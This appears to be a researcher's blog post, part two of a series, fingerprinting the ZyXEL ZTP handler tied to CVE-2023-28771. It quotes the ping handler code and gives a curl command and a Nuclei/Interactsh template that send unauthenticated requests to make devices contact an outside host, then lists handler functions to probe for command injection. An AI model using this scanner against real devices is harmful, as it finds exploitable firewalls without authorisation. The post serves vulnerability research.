The Hunt for CVE-2023-28771 & Friends, Part 2: Fingerprinting ZTP.
This is a followup in an ongoing series of blog posts where I am trying to show the "full process", including mistakes/blind alleys, from a free-time vulnerability research project. You can find the first part here.
I ended up getting tired of staring at some of the worlds worst Python code (the ZTP handler) and decided it would be worthwhile to maybe write some code to remotely interact with it, to determine if a host has the new "auth check" added or not.
I figure this will be useful later, so I figured I'd find the simplest possible test case to enable me to fingerprint ZTP.
Looking at the command handler, the first, and simplest command available, is called "ping" and calls a function named "dosyncping".
# Check request cmd is valid
for cmd in supported_cmd:
if cmd == req["command"]:
validCMD = req["command"]
if (len(validCMD)<=0) :
logging.info("req: %s" % req)
raise Exception("invalid req")
# Command Execution Entry
logging.info("command: %s" % req["command"])
if req["command"] == "ping":
if not "dest" in req:
raise Exception("invalid req")
reply = dosyncping(req)
The code of "dosyncping" is below, it takes an object "req" as its input, which we know from previous exploring is the json.dumps
of whatever is sent in the POST body of the request.
We can specify an interface to send the ping via, and a destination to send the ping to. It will then use subprocess.Popen
to call a ping
binary and make a series of four ICMP ECHO requests.
def dosyncping(req):
reply = {}
ping = {}
try:
if not "interface" in req:
cmd = subprocess.Popen([toolPath["ping"], "-n", "-c", "4", req["dest"]], \
stderr=subprocess.PIPE, \
stdout=subprocess.PIPE)
logging.debug("via interface set as any")
else:
if TestMode:
internal_name = req["interface"]
else:
internal_name = lib_cmd_interface.fn_external2internal_name(req["interface"])
if req["interface"] == ("any") or \
len(req["interface"]) == 0:
cmd = subprocess.Popen([toolPath["ping"], "-n", "-c", "4", req["dest"]], \
stderr=subprocess.PIPE, \
stdout=subprocess.PIPE)
logging.debug("via interface set as any")
else:
cmd = subprocess.Popen([toolPath["ping"], "-I", internal_name, "-n", "-c", "4", req["dest"]], \
stderr=subprocess.PIPE, \
stdout=subprocess.PIPE)
logging.debug("via interface set as %s" %req["interface"])
reply["stdout"] = cmd.stdout.read()
reply["stderr"] = cmd.stderr.read()
status = cmd.wait()
if status != 0:
ping["status"] = status
reply["ping"] = ping
except Exception as e:
reply = {"error": 500, "exception": e}
return reply
This is perfect. We can hit this with curl, and run tcpdump or something to see if we get some pings.
curl -v --insecure -H "Content-Type: application/json" -d '{"command":"ping","dest":"our-host"}' https://$ip/ztp/cgi-bin/handle
Or, even easier, we can write a Nuclei template and use the Interactsh OAST utility to automagically detect hosts.
id: zyxel-ztp-ping
info:
name: Make a ZyXEL do a DNS lookup by asking it to make an ICMP request.
author: dmartyn
severity: medium
tags: dns,oob
requests:
- raw:
- | # try resolve
POST /ztp/cgi-bin/handler HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Type: application/json
Connection: close
{"command":"ping","dest":"{{interactsh-url}}"}
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
This scanner works - we can rapidly identify ZyXEL USG platforms with the "handler" functionality enabled, and without the auth check. This allows us to run "supported" commands without authentication on the targets.
But what can we do with those "supported commands"? Well, this is where I suspect we will find code execution. I guess my next step is to enumerate all functions we can call from requesting "handler", which was achieved with this command...
$ cat handler.py | grep "reply =" | grep req
reply = dosyncping(req)
reply = dosynctraceroute(req)
reply = doasynctraceroute(req["dest"])
reply = dosyncdnsquery(req)
reply = dolistiptables(req["iptables"])
reply = peektask(req["id"])
reply = killtask(req["kill"]["id"], **req["kill"])
reply = dosyncnslookup(req)
reply = dosynciproget(req)
# reply = lib_cmd_interface.fn_getSingleInterfaceInfo(req)
reply = dodiagnosticinfo(req)
reply = donetworkutest(req)
# reply = doRemoteAssistActive(req)
reply = lib_remote_assist.doZyxelSupport(req)
reply = lib_wan_setting.setWanPortSt(req)
reply = lib_wan_setting.showWanConnSt(req)
reply = lib_usb_setting.setUSBmount(req)
reply = lib_usb_setting.setUSBactive(req)
reply = lib_cmd_pcap.dopacketcap(req)
reply = lib_cmd_pcap.stopdopacketcap(req)
reply = lib_cmd_pcap.deletepcapfile(req)
reply = lib_cmd_language.setLanguage(req)
That is a fair few methods. We know setWanPortSt previously had a vulnerability, but that seems fixed now.
I guess the next step is to iterate over these methods, work out how to send the proper JSON to them, and see if commands can be injected.
Which, I guess, isn't the worst way to spend a couple of evenings.
Until next time...